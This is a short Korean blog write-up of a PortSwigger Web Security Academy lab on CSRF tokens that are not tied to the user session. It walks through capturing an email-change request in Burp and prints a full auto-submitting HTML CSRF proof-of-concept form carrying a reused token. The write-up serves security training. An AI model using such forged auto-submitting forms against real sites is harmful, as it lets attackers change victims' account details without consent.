WEB hacking/PortSwigger

Lab: CSRF where token is not tied to user session 문제 풀이(WriteUp)

Roronoa 2025. 6. 10. 12:32
반응형

문제 설명

CSRF를 이용하여 email을 변경하면 문제를 해결할 수 있다.

문제 설명

문제 풀이

이메일 변경 요청을 여러번 날리면 Invalid CSRF token 에러가 발생

CSRF 토큰 검증

 

email 변경 요청 한 후 burp에서 Repeater로 복사한 후 해당 패킷을 Drop 한다.

brup 요청 Drop

 

burp repeater에서 요청을 하지 않고 바로 POC를 생성한다.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a3500d404dc4793d82a26e000820057.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="carlos123&#64;carlos&#45;montoya&#46;net" />
      <input type="hidden" name="csrf" value="vlA9nb3YAh91CjVKrz1mhTIEMjExzhlo" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

 

생성한 POC를 요청할 경우 문제를 해결할 수 있다. 해당 문제의 경우 사용자 1의 csrf 토큰을 인터셉터하여 사용하지 않고 사용자 2가 해당 csrf 토큰을 사용할 수 있는지에 대한 문제이다.

문제 해결

반응형